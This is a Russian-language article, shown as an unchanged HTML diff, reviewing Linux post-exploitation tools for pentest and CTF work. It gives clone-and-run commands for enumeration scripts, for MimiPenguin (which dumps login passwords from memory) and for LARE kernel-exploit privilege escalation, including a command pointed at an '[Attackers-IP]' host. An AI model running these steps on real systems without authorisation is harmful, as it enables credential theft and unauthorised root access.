Rivalry2

HTML Diff

0 added 0 removed

Original 2026-01-01

Modified 2026-03-10

1 Пост-эксплуатация(англ. post-explotation) - это то, что можно сделать с целевой системой после того, как удалось найти уязвимость и выполнить какой-то участок кода на целевой системе. Также под этим термином понимается один из этапов взлома компьютерных систем (фаза) позволяющая собирать дальнейшую информацию о целевой системе, получить дальнейший доступ к сети и хранящимся данным. Фаза пост-эксплуатации позволяет идентифицировать такие вещи, как дополнительные подсети, маршрутизаторы, названия серверов, сетевых служб и установленных приложений.

2 Фазы (этапы) проведения тестирования на проникновение:

3 Основные паттерны, по которым работают злоумышленники на этапе пост-эксплуатации:- получить доступ на выполнение произвольного кода\команд; - изучение данных, хранящихся на сервере; - перехват данных, которых нет на системе сейчас, но они могут появиться в будущем; - организация перманентного доступа к целевой системе; - эскалация привилегий до уровня системы для непривилегированной учётной записи.

4 Дополнительно, хакер может получать информацию о скомпрометированной системе, анализируя следующие параметры: - конфигурацию системы (логин и пароль к БД в исходных кодах); - конфигурацию веб-сервера (например, httpd.conf, .htaccess); - исходные коды приложения (поиск уязвимостей, анализируя логику приложения); - доступы к окружению (находясь внутри сети, может быть проще попасть на соседние серверы и изолированные сегменты подсети); - базы данных (аутентификационная информация к другим системам, хранящаяся в них).

5 <h2>Обзор инструментов пост-эксплуатации</h2>

6 Мы же в материале сделаем акцент на рассмотрении инструментов пост-эксплуатации исключительно подLinux-системы.

7 <h3>1. PXEenum - полное перечисление всего, что есть в системе</h3>

8 Основной задачей данного скрипта является функция перечисления (англ. - Enumeration). Он вытаскивает всю доступную информацию о системе. Данный скрипт создан, если не сказать, что создан для лентяев, то для тех, кто ценит свое время.

9 Запуск PXEenum:

10 Для запуска он не требует прав root'а, работает в стандартном терминале.

11 # wget https://raw.githubusercontent.com/shawnduong/PXEnum/master/PXEnume.shУстановка:

12 # git clone https://github.com/shawnduong/PXEnum.git # cd PXEnum/ # chmod +x PXEnum.sh # bash PXEnum.shВывод результатов перечисления в PXEenum:

13 <h3>2. MIDA Multitool - палим систему по-взрослому</h3>

14 Другой интересный инструмент -<a>MIDA Multitool</a>, созданный на базе менее именитых собратьевSysEnumиRootHelper, но включающий в себя гораздо больший функционал. По воле разработчика функционал MIDA Multitool включает в себя отдельные функции своих предшественников под одним капотом, а именно:

15 <ul><li>SysEnum- Bash-скрипт, предназначенный для получения основной информацию о системе, включая, но не ограничиваясь следующими данными - текущий пользователь, IP-конфигурация, таблицы ARP, запущенные процессы и т. д.;</li>

16 <li>Roothelper- призван помочь в процессе эскалации привилегий в системе, которая была скомпрометирована, путем выполнения ряда перечислений и использования доверительных сценариев.</li>

17 </ul>Стартовое окно MIDA Multitool:

18 Устанавливаем скрипт в систему с github:

19 # git clone https://github.com/NullArray/Bash-Kit-Multitool # cd Bash-Kit-Multitool # chmod +x bashkit.shЗапускаем скрипт:

20 Дело сделано! Можно запускать в системе!

21 <h3>3. MimiPenguin - добываем пароли без зазрения совести</h3>

22 Очень хорошо известный скрипт в узких кругах пентестеров под названием<a>MimiPenguin</a>. Основной задачей утилиты служит сброса пароля на вход в систему от текущего пользователя Linux. Если такое сравнение возможно, то это аналог утилиты<a>mimikatz</a>для дампа пароля в Windows-системах.

23 Запуск MimiPenguin:

24 Кроме того,MimiPenguinподдерживает такие приложения, как VSFTPd (активные подключения клиента FTP), популярнейший web-сервер Apache2 (активные/старые сеансыHTTP BASIC AUTH, но для этого требуется Gcore) и openssh-сервер (активные подключения SSH с использованием команды sudo). И вообще, необходимо сказать, что MimiPenguin часто становится частью эксплойтов под Linux.

25 Результат работы MimiPenguin:

26 Устанавливаем MimiPenguin, забирая его с репозитория GitHub:

27 # git clone https://github.com/huntergregal/mimipenguin # cd mimipenguin # ls -a # chmod +x mimipenguin.sh # ./mimipenguin.shВсе пароли как на ладони благодаря MimiPenguin:

28 <h3>4. LARE - прикидываемся рутом, используя баги ядра</h3>

29 И, напоследок, ещё один довольно простой скрипт, который помогает с помощью использования известных уязвимостей в ядре ОС получать привилегии root удалённо с атакующей машины. Скрипт использует локальные эксплойты для получения root-прав для версий ядра Linux Kernel v2.6-v4.8.

30 Кстати, эта тулза очень часто находит своё применение на сертификационном экзамене OSCP.

31 Устанавливаем скрипт в систему:

32 # git clone https://github.com/EnigmaDimitri/LARE && cd LARE # chmod +x LARA.sh # LARE.sh -aСтартовое окно LARE:

33 Запуск скрипта на целевой машине в сети:

34 # LARE.sh -l [Attackers-IP]Запуск на машине с подключением к базе данных эксплойтов на GitHub:

35 # LARE.sh -l or ./LARE.sh -lПрава root получены!

36 <h2>Заключение</h2>

37 Сегодня мы кратко рассмотрели самые популярные и проверенные в практике пентеста рабочие инструменты, используемые на фазе пост-эксплуатации для серверов под управлением Linux. Как видите,нет ничего абсолютно защищённого. Эти знания, я надеюсь, пригодятся вам и на CTF, и для пентеста корпоративной сети вашего проекта, и для развития общего понимания практики обеспечения реальной ИБ.

38 На этом сегодня всё! Удачи, друзья, берегите себя, близких и свои данные!